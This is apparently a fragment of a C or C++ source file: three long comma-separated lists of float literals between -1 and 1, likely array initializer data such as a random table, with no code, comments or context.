0.234237103593580f, -0.285526615094797f, -0.793192668153991f, -0.437130485497140f, -0.956132143306919f, 0.601158367473616f, 0.238689691528783f, 0.173709925321432f, 0.437983847738997f, 0.397380645202102f, 0.432093344086237f, -0.0338869881121104f, -0.966303269542493f, 0.875351570183604f, -0.0584554089652962f, 0.294207497692552f, 0.200323088145182f, 0.826642387259759f, 0.284806025494260f, -0.00660991970522007f, 0.682493772727303f, -0.151980775670668f, 0.0470705546940635f, -0.236378427235531f, -0.844780853112247f, 0.134166207564174f, -0.586842667384924f, 0.0711866699414370f, 0.311698821368897f, -0.361229767252053f, 0.750924311039976f, 0.0764323989785694f, 0.898463708247144f, 0.398232179543916f, -0.515644913011399f, -0.189067061520362f, -0.567430593060929f, -0.641924269747436f, -0.0960378699625619f, -0.792054031692334f, 0.803891878854351f, -0.233518627249889f, -0.892523453249154f, 0.707550017996875f, -0.782288435525895f, -0.156166443894764f, -0.543737876329167f, 0.565637809380957f, -0.757689989749326f, -0.612543942167974f, -0.766327195073259f, 0.587626843767440f, -0.280769385897397f, -0.457487372245825f, 0.0862799426622438f, -0.616867284053547f, 0.121778903484808f, -0.451988651573766f, -0.618146087265495f, -0.285868777534354f, 0.108999472244014f, -0.620755183347358f, -0.268563184810196f, -0.721678169615489f, -0.146060198874409f, -0.661506858070617f, 0.901707853998409f, 0.222488776533930f, 0.679599685031679f, 0.974760448601209f, 0.535485953830496f, -0.562345697123585f, 0.369219363331071f, -0.0282801684694869f, -0.0734880727832297f, 0.733216287314358f, -0.514352095765627f, -0.850813063545195f, 0.642458447327163f, 0.118661521915783f, -0.907015526838341f, 0.789277766886329f, -0.719864125961721f, 0.274329068829509f, 0.830124687647056f, 0.719352367261587f, -0.821767317737384f, -0.840153496829227f, 0.650796781936517f, 0.381065387870166f, 0.341870564586224f, -0.00174423702285131f, -0.216348832349188f, 0.678010477635713f, -0.748695103596683f, -0.819659325555269f, 0.620922373008647f, 0.471659250504894f, 0.417848292160984f, -0.990577315445198f, -0.509842007818877f, 0.705761459091187f, 0.723072116074702f, -0.606476484252158f, -0.871593699865195f, -0.662059658667501f, -0.207267692377271f, -0.274706370444270f, 0.317047325063391f, 0.329780707114887f, -0.966325651181920f, -0.666131009799803f, 0.118609206658210f, 0.232960448350140f, -0.139134616436389f, -0.936412642687343f, -0.554985387484625f, -0.609914445911143f, -0.371023087262482f, -0.461044793696911f, 0.0277553171809701f, -0.241589304772568f, -0.990769995548029f, 0.114245771600061f, -0.924483328431436f, 0.237901450206836f, -0.615461633242452f, 0.201497106528945f, -0.599898812620374f, 0.982389910778332f, 0.125701388874024f, -0.892749115498369f, 0.513592673006880f, 0.229316745749793f, 0.422997355912517f, 0.150920221978738f, 0.447743452078441f, 0.366767059168664f, -0.605741985891581f, 0.274905013892524f, -0.861378867171578f, -0.731508622159258f, 0.171187057183023f, 0.250833501952177f, -0.609814068526718f, -0.639397597618127f, -0.712497631420166f, -0.539831932321101f, -0.962361328901384f, 0.799060001548069f, 0.618582550608426f, -0.603865594092701f, -0.750840334759883f, -0.432368099184739f, -0.581021252111797f, 0.134711953024238f, 0.331863889421602f, -0.172907726656169f, -0.435358718118896f, -0.689326993725649f, 0.415840315809038f, -0.333576262820904f, 0.279343777676723f, -0.0393098862927832f, 0.00852090010085194f, -0.853705195692250f, 0.526006696633762f, -0.478653377052437f, -0.584840261391485f, 0.679261003071696f, 0.0367484618219474f, -0.616340335633997f, -0.912843423145420f, -0.221248732289686f, -0.477921890680232f, -0.127369625511666f, 0.865190146410824f, 0.817916456258544f, 0.445973590438029f, -0.621435280140991f, -0.584264056171687f, 0.718712277931876f, -0.337835985469843f, 0.00569064504159345f, -0.546546294846311f, 0.101653624648361f, -0.795498735829364f, -0.249043531299132f, -0.112839395737321f, -0.350305425122331f, -0.910866368205041f, 0.345503177966105f, -0.549306515692918f, 0.711774722622726f, 0.283368922297518f, 0.0401988801224620f, 0.269228967910704f, 0.408165826013612f, -0.306571373865680f, 0.937429053394878f, 0.992154362395068f, 0.679431847774404f, 0.660561953302554f, 0.903254489326130f, -0.939312119455540f, -0.211194531611303f, 0.401554296146757f, -0.0373187111351370f, -0.209143098987164f, -0.483955198209448f, -0.860858509666882f, 0.847006442151417f, 0.287950263267018f, 0.408253171937961f, -0.720812569529331f, 0.623305171273525f, 0.543495760078790f, -0.364025150023839f, -0.893335585394842f, -0.757545415624741f, -0.525417020183382f, -0.985814550271000f, -0.571551008375522f, 0.930716377819686f, -0.272863385293023f, 0.982334910750391f, 0.297868844366342f, 0.922428080219044f, 0.917194773824871f, 0.846964493212884f, 0.0641834146212110f, 0.279768184306094f, 0.591959126556958f, 0.355630573995206f, 0.839818707895839f, 0.219674727597944f, -0.174518904670883f, 0.708669864813752f, -0.224562931791369f, 0.677232454840133f, -0.904826802486527f, -0.627559033402838f, 0.263680517444611f, 0.121902314059156f, -0.704881790282995f, 0.242825089229032f, -0.309373554231866f, -0.479824461459095f, -0.720536286348018f, -0.460418173937526f, 0.774174710513849f, 0.452001499049874f, -0.316992092650694f, 0.153064869645527f, -0.209558599627989f, 0.685508351648252f, -0.508615450383790f, 0.598109567185095f, 0.391177475074196f, 0.964444988755186f, 0.336277292954506f, -0.0367817159101076f, -0.668752640081528f, 0.169621732437504f, -0.440925495294537f, 0.352359477392856f, 0.300517139597811f, 0.464188724292127f, 0.342732840629593f, -0.772028689116952f, 0.523987886508557f, 0.920723209445309f, 0.325634245623597f, 0.999728757965472f, -0.108202444213629f, -0.703463061246440f, -0.764321104361266f, 0.153478091277821f, 0.400776808520781f, 0.0362608595686520f, 0.602660289034871f, -0.00396673312072204f, 0.296881393918662f, 0.563978362789779f, 0.849699999703012f, 0.699481370949461f, -0.517318771826836f, 0.488696839410786f, -0.863267084031406f, 0.0353144039838211f, 0.346060763700543f, 0.964270355001567f, 0.354899825242107f, 0.806313705199543f, 0.675286452110240f, 0.0873918818789949f, -0.595319879813140f, 0.768247284622921f, 0.424433552458434f, -0.308023836359512f, 0.802163480612923f, -0.348151008192881f, -0.889061130591849f, -0.593277042719599f, -0.669426232128590f, 0.758542808803890f, 0.515943031751579f, -0.359688459650311f, 0.568175936707751f, 0.741304023515212f, 0.260283681057109f, 0.957668849401749f, -0.665096753421305f, 0.769229664798946f, -0.0871019488695104f, -0.362662093346394f, -0.411439775739547f, 0.700347493632751f, 0.593221225653487f, 0.712841887456470f, 0.413663813878195f, -0.868002281057698f, -0.704419248587642f, 0.497097875881516f, -0.00234623694758684f, 0.690202361192435f, -0.850266199595343f, 0.315244026446767f, 0.709124123964306f, 0.438047076925768f, 0.798239617424585f, 0.330853072912708f, 0.581059745965701f, 0.449755612947191f, -0.462738032798907f, 0.607731925865227f, 0.0898348455002427f, -0.762827831849901f, 0.895598896497952f, -0.752254194382105f, -0.0916186048978613f, -0.906243795607547f, 0.229263971313788f, 0.401148319671400f, -0.699999035942240f, 0.949897297168705f, 0.442965954562621f, -0.836602533575693f, 0.960460356865877f, -0.588638958628591f, -0.826876652501322f, 0.358883606332526f, 0.963216314331105f, -0.932992215875777f, -0.790078242370583f, 0.402080896170037f, -0.0768348888017805f, 0.728030138891631f, -0.259252300581205f, -0.239039520569651f, -0.0343187629251645f, -0.500656851699075f, 0.213230170834557f, -0.806162554023268f, -0.346741158269134f, 0.593197383681288f, -0.874207905790597f, 0.396896283395687f, -0.899758892162590f, 0.645625478431829f, 0.724064646901595f, 0.505831437483414f, -0.592809028527107f, 0.191058921738261f, 0.329699861086760f, 0.637747614705911f, 0.228492417185859f, 0.350565075483143f, 0.495645634191973f, 0.0378873636406241f, -0.558682871042752f, -0.0463515226573312f, -0.699882077624744f, -0.727701564368345f, -0.185876979038391f, 0.969357227041006f, -0.0396554302826258f, 0.994123321254905f, -0.103700411263859f, -0.122414150286554f, -0.952967253268750f, -0.310113557790019f, 0.389885130024049f, 0.698109781822753f, -0.566884614177461f, -0.807731715569885f, 0.295459359747620f, 0.353911434620388f, -0.0365360121873806f, -0.433710246410727f, -0.112374658849445f, -0.710362620548396f, -0.750188568899340f, -0.421921409270312f, -0.0946825033112555f, -0.207114343395422f, -0.712346704375406f, -0.762905208265238f, 0.668705185793373f, 0.874811836887758f, 0.734155331047614f, 0.0717699959166771f, -0.649642655211151f, 0.710177200600726f, -0.790892796708330f, -0.609051316139055f, 0.158155751049403f, 0.273837117392194f, 0.101461674737037f, -0.341978434311156f, 0.358741707078855f, 0.415990974906378f, 0.760270133083538f, 0.164383469371383f, 0.559847879549422f, 0.209104118141764f, -0.265721227148806f, 0.165407943936551f, 0.611035396421350f, -0.626230501208063f, -0.116714293310250f, -0.696697517286888f, 0.0545261414014888f, 0.440139257477096f, 0.202311640602444f, -0.369311356303593f, 0.901884565342531f, 0.256026357399272f, -0.673699547202088f, 0.108550667621349f, -0.961092940829968f, -0.254802826645023f, 0.553897912330318f, 0.110751075533042f, -0.587445414043347f, 0.786722059164009,
0.182042556749386f, 0.398835909383655f, 0.431324012457533f, 0.587021142157922f, -0.644072183989352f, 0.187430090296218f, 0.516741122998546f, -0.275250933267487f, -0.933673413249875f, -0.767709448823879f, 0.00345814033609182f, -0.585884382069128f, 0.463549040471035f, 0.666537178805293f, -0.393605927315148f, -0.260156573858491f, -0.298799291489529f, -0.246398415746503f, 0.970774181159203f, -0.485708631308223f, -0.456571313115555f, -0.264210030877189f, -0.442583504871362f, 0.0585567697312368f, 0.955769232723545f, 0.651822742221258f, 0.667605490119116f, -0.178564750516287f, 0.744464599638885f, -0.0962758978504710f, -0.538627454923738f, -0.844634654117462f, 0.109151162611125f, -0.862255427201396f, -0.478955305843323f, 0.645965860697344f, 0.345569271369828f, 0.930605011671297f, -0.195523686135506f, 0.927940875293964f, 0.0529927450986318f, -0.537243314646225f, 0.0815400161801159f, -0.528889663721737f, -0.0803965087898244f, 0.722188412643543f, -0.115173100460772f, 0.391581967064874f, 0.609102624309301f, -0.726409099849031f, -0.924071529212721f, -0.424370859730340f, -0.932399086010354f, -0.679903916227243f, 0.398593637781810f, -0.395942610474455f, 0.911017267923838f, 0.830660098751580f, 0.485689056693942f, -0.634874052918746f, 0.558342102044082f, 0.153345477027740f, -0.418797532948752f, -0.962412446404476f, 0.499334884055701f, 0.772755578982235f, 0.486905718186221f, -0.680415982465391f, -0.983589696155766f, 0.0802707365440833f, -0.108186099494932f, 0.272227706025405f, 0.651170828846750f, -0.804713753056757f, 0.778076504684911f, 0.869094633196957f, -0.213764089899489f, -0.289485853647921f, -0.248376169846176f, -0.273907386272412f, -0.272735585352615f, -0.851779302143109f, 0.777935500545070f, 0.610526499062369f, -0.825926925832998f, -0.00122853287679647f, -0.250920102747366f, -0.0333860483260329f, 0.562878228390427f, 0.685359102189134f, 0.909722844787783f, -0.686791591637469f, 0.700018932525581f, -0.975597558640926f, 0.111273045778084f, 0.0313167229308478f, -0.185767397251192f, -0.587922465203314f, -0.569364866257444f, -0.433710470415537f, 0.744709870476354f, 0.812284989338678f, -0.835936210940005f, 0.409175739115410f, 0.364745324015946f, -0.526496413512530f, -0.0949041293633228f, -0.710914623019602f, -0.199035360261516f, 0.249903358254580f, 0.799197892184193f, -0.974131439735146f, -0.962913228246770f, -0.0584067290846062f, 0.0678080882131218f, 0.619989552612058f, 0.600692636138022f, -0.325324145536173f, 0.00758797937831957f, -0.133193608214778f, -0.312408219890363f, -0.0752971209304969f, 0.764751638735404f, 0.207290375565515f, -0.965680055629168f, 0.526346325957267f, 0.365879948128040f, -0.899713698342006f, 0.300806506284083f, 0.282047017067903f, -0.464418831301796f, -0.793644005532544f, -0.338781149582286f, 0.627059412508279f, -0.624056896643864f, -0.503708045945915f, 0.339203903916317f, -0.920899287490514f, -0.753331218450680f, -0.561190137775443f, 0.216431106588929f, -0.191601189620092f, 0.613179188721972f, 0.121381145781083f, -0.477139741951367f, 0.606347924649253f, 0.972409497819530f, 0.00419185232258634f, 0.786976564006247f, 0.716984027373809f, -0.577296880358192f, 0.336508364109364f, -0.837637061538727f, -0.706860533591818f, 0.655351330285695f, -0.799458036429467f, 0.804951754011505f, 0.405471126911303f, 0.485125485165526f, 0.0354103156047567f, 0.774748847269929f, 0.396581375869036f, 0.420464745452802f, -0.544531741676535f, -0.779088258182329f, -0.129534599431145f, 0.228882319223921f, 0.669504936432777f, -0.158954596495398f, -0.171927546721685f, 0.675107968066445f, -0.201470217862098f, -0.185894687796509f, 0.244174688826684f, 0.310288210346694f, -0.0674603586289346f, 0.138103839181198f, 0.269292861340219f, 0.121469813317732f, 0.168629748875041f, 0.581112629873687f, 0.499508530746584f, -0.741772433024897f, -0.311060071316150f, -0.263697352439521f, 0.180487383518774f, -0.800786488742242f, -0.949903966987338f, 0.134975524166410f, 0.213364683193138f, -0.684441197699222f, -0.254697287796379f, -0.260521050814253f, -0.757605554637199f, -0.134324873215927f, -0.699675596579060f, 0.136000646890289f, 0.355272520354523f, -0.712620797948690f, -0.729995036352282f, 0.323100037780915f, -0.718364487938777f, 0.807709622188084f, 0.289336059472722f, -0.558738026311145f, -0.591811756545896f, -0.894952978489225f, -0.354996929975694f, -0.142213103464027f, -0.651950180085633f, 0.182694586161578f, -0.193492058009904f, -0.540079537334588f, -0.300927433533712f, 0.119585035086049f, 0.895807833710939f, -0.413843745301811f, -0.209041322713332f, 0.808094803654324f, 0.0792829008489782f, 0.314806980452270f, 0.502591873175427f, -0.0474189387090473f, -0.407131047818007f, 0.797117088440354f, 0.902395237588928f, -0.783327055804990f, -0.591709085168646f, 0.628191184754911f, -0.454649879692076f, -0.588819444306752f, 0.250889716959370f, -0.582306627010669f, -0.145495766591841f, -0.634137346823528f, 0.667934845545285f, 0.873756470938530f, 0.425969845715827f, -0.779543910541245f, -0.265210219994391f, 0.781530681845886f, 0.304461599274577f, 0.211087853085430f, 0.281022407596766f, 0.0701313665097776f, 0.342337400087349f, -0.0618264046031387f, 0.177147380816613f, 0.751693209867024f, -0.279073264607508f, 0.740459307255654f, -0.352163564204507f, -0.726238685136937f, -0.565819729501492f, -0.779416133306559f, -0.783925450697670f, 0.542612245021260f, -0.810510148278478f, -0.693707081804938f, 0.918862988543900f, -0.368717045271828f, 0.0654919784331340f, -0.438514219239944f, -0.923935138084824f, 0.913316783811291f, -0.961646539574340f, 0.734888382653474f, -0.464102713631586f, -0.896154678819649f, 0.349856565392685f, 0.646610836502422f, -0.104378701809970f, 0.347319102015858f, -0.263947819351090f, 0.343722186197186f, 0.825747554146473f, 0.0661865525544676f, 0.918864908112419f, -0.999160312662909f, -0.904953244747070f, 0.246613032125664f, 0.123426960800262f, -0.294364203503845f, -0.150056966431615f, 0.904179479721301f, 0.517721252782648f, 0.661473373608678f, -0.784276966825964f, -0.984631287069650f, 0.239695484607744f, -0.499150590123099f, 0.00153518224500027f, -0.817955534401114f, 0.221240310713583f, 0.114442325207070f, -0.717650856748245f, -0.722902799253535f, -0.962998380704103f, 0.214092155997873f, -0.226370691123970f, 0.536806140446569f, 0.111745807092858f, 0.657580594136395f, -0.239950592200226f, 0.0981270621736083f, -0.173398466414235f, 0.414811672195735f, 0.147604904291238f, -0.649219724907210f, 0.907797399703411f, -0.496097071857490f, -0.0958082520749422f, -0.700618145301611f, 0.238049932994406f, 0.946616020659334f, 0.143538494511824f, 0.0641076718667677f, 0.377873848622552f, -0.413854028741624f, -0.838831021130186f, 0.0208044297354626f, 0.476712667979210f, 0.850908020233298f, 0.0692454021020814f, 0.841788714865238f, -0.251777041865926f, 0.512215668857165f, 0.827988589806208f, -0.399200428030715f, 0.999219950547600f, -0.00465542086542259f, 0.279790771964531f, -0.683125623289052f, 0.988128867315143f, 0.00697090775456410f, -0.409501680375786f, -0.190812202162744f, -0.154565639467601f, 0.305734586628079f, -0.922825484202279f, -0.0622811516391562f, -0.502492855870975f, 0.358550513844403f, 0.678271216185703f, -0.940222215291861f, 0.568581934651071f, 0.953835466578938f, -0.476569789986603f, 0.0141049472573418f, 0.722262461730185f, -0.128913572076972f, -0.583948340870808f, -0.254358587904773f, -0.390569309413304f, -0.0495119137883056f, -0.486356443935695f, -0.112768011009410f, -0.608763417511343f, -0.145843822867367f, 0.767829603838659f, 0.791239479733126f, 0.0208376062066382f, -0.524291005204912f, -0.200159553848628f, -0.835647719235620f, -0.222774380961612f, 0.0617292533934060f, 0.233433696650208f, -0.543969878951657f, -0.628168009147650f, -0.725602523060817f, -0.273904472034828f, 0.320527317085229f, -0.556961185821848f, 0.261533413201255f, 0.696617398495973f, 0.200506775746016f, -0.395581923906907f, 0.0196423782530712f, -0.0552577396777472f, -0.594078139517501f, -0.816132673139052f, -0.898431571909616f, 0.879105843430143f, 0.949666380003024f, -0.245578843355682f, 0.528960018663897f, 0.201586039072583f, -0.651684706542954f, 0.596063456431086f, -0.659712784781056f, -0.213702651629353f, -0.629790163054887f, -0.0572029778771013f, 0.645291034768991f, -0.453266855343461f, -0.581253959024410f, 0.632682730071992f, 0.991406037765467f, 0.701390336150136f, -0.879037255220971f, -0.304180069776406f, 0.0969095808767941f, -0.465682778651712f, 0.815108046274786f, -0.532850846043973f, 0.950550134670033f, 0.296008118726089f, -0.198390447541329f, 0.159049143352201f, 0.105169964332594f, -0.482506131358523f, 0.493753482281684f, 0.292058685647414f, 0.283730532860951f, 0.00323819209092657f, 0.765838273699203f, -0.0753176377562099f, -0.679824808630431f, 0.548180003463159f, -0.996048798712591f, 0.782768288046545f, 0.396509190560532f, 0.848686742379558f, 0.750049741585178f, 0.730186188655936f, -0.0220701180542726f, -0.487618042364281f, -0.403562199756249f, -0.0693129490117646f, 0.947019452953246f, -0.731947366410442f, 0.198175872470120f, -0.329413252854837f, -0.641319161749268f, 0.186271826190842f, -0.0739989831663739f, -0.334046268448298f, -0.191676071751509f, -0.632573515889708f, -0.999115061914042f, -0.677989795015932f, 0.289828136337821f, 0.696081747094487f, 0.965765319961706f, -0.203649463803737f, -0.195384468978610f, 0.746979659338745f, 0.701651229142588f, -0.498361303522421f, 0.289120104962302f, 0.270493509228559f, -0.132329670835432f, 0.385545665843914f, -0.265371843427444f, 0.306155119003788f, -0.859790373316264f, -0.0198057838521546f, 0.233572324299025f, 0.426354273793125f, -0.510901479579029f, -0.600001464460011f, -0.972316846268671f, 0.531678082677910f, -0.0543913028234813f, -0.860333915321655f, 0.0717414549918496f, -0.992726205437930f, 0.587189647572868f, -0.710120198811545f, -0.712433353767817f, 0.000905613890617163f, 0.323638959833707f, -0.148002344942812f, 0.422217478090035f, -0.512122539396176f, -0.652032513920892f, -0.0749826795945674f, 0.689725543651565f, 0.00708142459169103f, 0.612282380092436f, -0.182868915402510f, -0.478704046524703f, 0.630078231167476f, -0.201694106935605f, 0.471080354222778f, 0.705764111397718f, 0.504296612895499f, -0.245442802115836f, -0.0255433216413170f, 0.244606720514349f, -0.620852691611321f, 0.130333792055452f, -0.0404066268217753f, 0.533698497858480f, 0.569324696850915f, -0.0208385747745345f, -0.344454279574176f, 0.697793551353488f, 0.223740789443046,
0.0819835387259940f, -0.378565059057637f, 0.265230570199009f, -0.654654047270763f, -0.959845479426107f, -0.524706200047066f, -0.320773238900823f, 0.133125806793072f, 0.204919719422386f, 0.781296208272529f, 0.357447172843949f, -0.295741363322007f, -0.531151992759176f, -0.928760461863525f, -0.492737999698919f, 0.185299312597934f, 0.0308933157463984f, 0.0940868629278078f, -0.223134180713975f, -0.728994909644464f, 0.748645378716214f, 0.602424843862873f, 0.939628558971957f, -0.601577015562304f, -0.178714119359324f, 0.812720866753088f, -0.864296642561293f, 0.448439532249340f, 0.423570043689909f, 0.883922405988390f, -0.121889129001415f, -0.0435604321758833f, -0.823641147317994f, -0.775345608718704f, -0.621149628042832f, 0.532395431283659f, -0.803045105215129f, 0.897460124955135f, 0.432615281777583f, -0.0245386640589920f, -0.822321626075771f, -0.992080038736755f, -0.829220327319793f, 0.125841786813822f, 0.277412627470833f, 0.623989234604340f, -0.207977347981346f, -0.666564975567417f, 0.419758053880881f, -0.146809205344117f, 0.702495819380827f, 0.802212477505035f, 0.161529115911938f, 0.987832568197053f, -0.885776673164970f, -0.608518024629661f, -0.126430573784758f, 0.168260422890915f, -0.517060428948049f, -0.766296586196077f, -0.827624510690858f, -0.149091785188351f, -0.643782325842734f, 0.768634567718711f, 0.815278279059715f, -0.648037361329720f, -0.480742843535214f, 0.983809287193308f, -0.701958358623791f, 0.0797427982273327f, 0.903943825454071f, 0.980486658260621f, 0.207436790541324f, -0.536781321571165f, -0.885473392956838f, -0.626744905152131f, 0.279917970592554f, -0.489532633799085f, 0.402084958261836f, -0.566738134593205f, -0.0990017532286025f, 0.458891753618823f, 0.893734110503312f, 0.541822126435773f, -0.856210577956263f, -0.0354679151809227f, -0.868531503535520f, 0.150589222911699f, 0.611651396802303f, 0.524911319413221f, 0.555472734209632f, -0.723626819813614f, -0.162106613127807f, 0.602405197560299f, 0.903198408993777f, 0.329150411562290f, -0.806468536757339f, -0.671787125844359f, -0.707262852044556f, 0.474934689940169f, -0.379636706541612f, 0.404933387269815f, 0.332303761521238f, 0.394233678536033f, -0.0366067593524413f, 0.904405677123363f, -0.356597686978725f, -0.623034135107067f, 0.572040316921149f, 0.799160684670195f, -0.507817199545094f, -0.533380730448667f, -0.884507921224020f, -0.00424735629746076f, 0.647537115339283f, 0.456309536956504f, -0.766102127867730f, -0.625121831714406f, 0.341487890703535f, -0.360549668352997f, -0.229900108098778f, -0.666760418812903f, 0.813282715359911f, 0.115522674116703f, -0.221360306077384f, 0.0297293679340875f, 0.00682810040637105f, 0.0115235719886584f, 0.887989949086462f, 0.792212187398941f, 0.415172771519484f, -0.600202208047434f, 0.949356119962045f, -0.526700730890731f, 0.946712583567682f, -0.392771116330410f, 0.0144823046999243f, -0.649518061223406f, 0.724776068810104f, 0.00920735790862981f, -0.461670796134611f, 0.217703889787716f, 0.846151165623083f, -0.202702970245097f, 0.314177560430781f, -0.761102867343919f, 0.0528399640076420f, -0.986438508940994f, -0.595548022863232f, -0.430067198426456f, 0.150038004203120f, 0.738795383589380f, -0.605707072657181f, -0.597976219376529f, 0.375792542283657f, -0.321042914446039f, 0.902243988712398f, 0.463286578609220f, -0.739643422607773f, 0.210980536147575f, -0.539210294582617f, 0.405318056313257f, -0.876865698043818f, -0.0883135270940518f, 0.0300580586347285f, -0.657955040210154f, 0.159261648552234f, 0.288659459148804f, 0.274488527537659f, 0.646615145281349f, 0.431532024055095f, -0.982045186676854f, -0.777285361097106f, -0.124875006659614f, 0.503004910525253f, 0.824987340852061f, -0.859357943951028f, -0.894837450578304f, 0.744772864540654f, 0.415263521487854f, 0.337833126081168f, -0.612498979721313f, 0.391475686177086f, 0.573982630935632f, -0.391044576636065f, 0.669493459114130f, -0.763807443372196f, -0.898924075896803f, -0.969897663976237f, -0.266947396046322f, 0.198506503481333f, -0.355803387868922f, 0.787375525807664f, 0.655019979695179f, -0.266247398074148f, -0.665577607941915f, 0.0617617780742654f, -0.303207459096743f, 0.807119242186051f, -0.864431193732911f, 0.711808914065391f, 0.267969697417500f, -0.643939259651104f, -0.723685356192067f, 0.887757759160107f, -0.318420101532538f, -0.984559057628900f, -0.123118506428834f, 0.264872379685241f, 0.258477870902406f, -0.727462993670953f, -0.223845786938221f, 0.683462211502638f, -0.989811504909606f, 0.292644294487220f, -0.926087081411227f, -0.801377664261936f, -0.337757621052903f, 0.356167431525877f, 0.974619379699180f, 0.456124311183874f, 0.664192098344107f, -0.910993234571633f, -0.484097468631090f, -0.128534589958108f, -0.770879324529314f, 0.320053414246682f, 0.249818479771296f, 0.0153345543766990f, 0.696352481669035f, -0.397719804512483f, 0.670333638147646f, -0.678192291329959f, 0.190143924397131f, 0.342035884244954f, -0.350791038317704f, 0.0218450632953668f, 0.437133719806156f, 0.659960895652910f, 0.903378806323159f, 0.855089775229062f, 0.946706092624795f, 0.335540975081955f, 0.838337968455111f, -0.102693592034237f, -0.702102376052106f, 0.409624309223486f, -0.654483499569910f, 0.886576641430416f, -0.200573725141884f, -0.461284656727627f, 0.262661770963709f, 0.867505406245483f, -0.0688648080253220f, -0.707487995489326f, -0.248871627068848f, -0.197869870234198f, -0.243745607075197f, -0.244106806741608f, 0.489848112299788f, -0.0909708869175492f, -0.377678949786167f, 0.0385783576998284f, -0.470361956031595f, 0.802403491439449f, -0.408319987166305f, 0.345170991986463f, -0.433455880962420f, 0.00950587287655291f, -0.441888155900165f, -0.817874450719479f, 0.818308133775667f, 0.931915253798354f, 0.818494801634479f, 0.787941704188320f, 0.882012210451449f, 0.0749985961399193f, 0.259772455233352f, -0.655786948552735f, 0.0824323575519799f, 0.980211564632039f, -0.798619050684746f, 0.496019643929772f, -0.727312997781404f, -0.999839600489443f, 0.625938920414345f, -0.561059012154101f, 0.215650518505246f, 0.121571798563274f, 0.161863493108371f, -0.340322748036792f, 0.521792371708641f, 0.655248389359818f, -0.180967013066484f, 0.936797969156762f, 0.523749660366580f, 0.764744126333943f, 0.384701560810431f, -0.744092118301334f, 0.719721922905938f, 0.365931545158250f, -0.720202871171563f, 0.121662048491076f, -0.355501954289222f, 0.379420491208481f, -0.593818415223405f, -0.433690576121147f, -0.766763563509045f, -0.377445104709670f, -0.955638620720410f, 0.309622585052195f, -0.613767678153186f, 0.0177719922394908f, 0.362917537485277f, -0.297613292472489f, 0.0275561832152067f, -0.962345352767599f, 0.452866577068408f, -0.307485159523065f, 0.931778412136845f, 0.639592220588070f, 0.00782144244951311f, -0.0466407334447796f, -0.134392603781566f, 0.895314655361308f, -0.537785271016286f, 0.663926391064792f, -0.886126633268266f, -0.0975129470189278f, -0.429791706025144f, -0.440337831994928f, -0.00156267573188829f, 0.933113069253665f, -0.560704402651437f, -0.201658150324907f, 0.465819560354530f, 0.0701448781871696f, 0.859597672251104f, -0.525851890358272f, -0.992674038068357f, -0.0846761339576128f, -0.401686794568758f, -0.886069686075370f, -0.480254412625133f, 0.432758053902000f, 0.168651590377605f, -0.453397134906684f, 0.340250287733381f, -0.972972507965963f, 0.0560333167197302f, -0.180812774382952f, -0.689848943619717f, -0.427945332505659f, 0.771841237806370f, 0.329334772795521f, 0.573083591606505f, 0.280711890938316f, -0.265074342340277f, -0.166538165045598f, -0.0612128221482104f, 0.458392746490372f, 0.199475931235870f, 0.681819191997175f, 0.356837960840067f, 0.756968760265553f, 0.763288512531608f, -0.890082643508294f, -0.322752448111365f, 0.799445915816577f, -0.956403501496524f, 0.723055987751969f, 0.943900989848643f, -0.217092255585658f, -0.426893469064855f, 0.834596828462842f, 0.723793256883097f, 0.781491391875921f, 0.928040296363564f, -0.468095417622644f, 0.758584798435784f, 0.589732897992602f, 0.929077658343636f, 0.829643041135239f, 0.0947252609994522f, 0.554884923338572f, -0.513740258764285f, -0.221798194292427f, 0.499855133319165f, -0.0237986912033636f, 0.559618648100625f, -0.509812142428963f, -0.444047241791607f, 0.678274420898738f, -0.983706185790147f, -0.295400077545522f, -0.688769625375228f, 0.729259863393412f, 0.889478872450658f, 0.928277502215167f, -0.429388564745762f, -0.790568684428380f, 0.930220908227667f, -0.796970618648576f, -0.980240003047008f, 0.0372716153521411f, -0.290828043433527f, -0.303854123029680f, 0.160774056645456f, -0.712081432630280f, 0.390787025293754f, 0.981202442873064f, -0.679439021090013f, 0.183053153027806f, 0.665002789261745f, -0.708708782620398f, 0.254574948166343f, 0.0575397183305137f, -0.723713533137924f, -0.732816726186887f, 0.501983534740534f, 0.879998734527489f, 0.825871571001792f, 0.920880943816000f, 0.311565022703289f, -0.788226302840017f, -0.223197800016568f, 0.850662847422425f, -0.365181128095578f, 0.958907951854379f, -0.0421327708909884f, -0.153860389403659f, -0.219620959578892f, -0.469076971423126f, -0.523348925540362f, -0.287762354299832f, -0.913332930679763f, 0.403264134926789f, 0.725849051303960f, 0.743650157693605f, -0.382580349065687f, -0.297138545454038f, -0.480092092629432f, 0.0412697614821378f, -0.396203822475830f, -0.0721078217568973f, 0.979038611510460f, -0.766187876085830f, -0.344262922592081f, 0.943351952071948f, -0.219460259008486f, 0.115393587800227f, -0.342675526066015f, 0.926460460401492f, -0.486133445041596f, 0.0722019534490863f, -0.571069005453629f, -0.0854568609959852f, 0.370182934471805f, -0.554007448618166f, 0.899885956615126f, -0.188476209845590f, -0.548132066932086f, 0.0559544259937872f, -0.161750926638529f, -0.532342080900202f, 0.585205009957713f, -0.374876171959848f, -0.169253952741901f, -0.473665572804341f, 0.942267543457416f, -0.515867520277168f, -0.706362509002908f, -0.320672724679343f, -0.398410016134417f, 0.733774712982205f, 0.449599271169282f, 0.109119420842892f, -0.285090495549516f, 0.0854116107702212f, 0.0603189331827261f, -0.943780826189008f, 0.0679186452322331f, 0.0975973769951632f, -0.870728474197789f, -0.153122881744074f, -0.519939625069588f, -0.633620207951748f, -0.767551214057718f, -0.905802311420298f, -0.841350087901049f, -0.271805404203346f, 0.282221543099561f, -0.0874121080198842f, 0.0634591013505281f, 0.318965595714934f, -0.865047622711268f, -0.401960840475322f, 0.637557181177199f, -0.664578054110050f, -0.871253510227744,
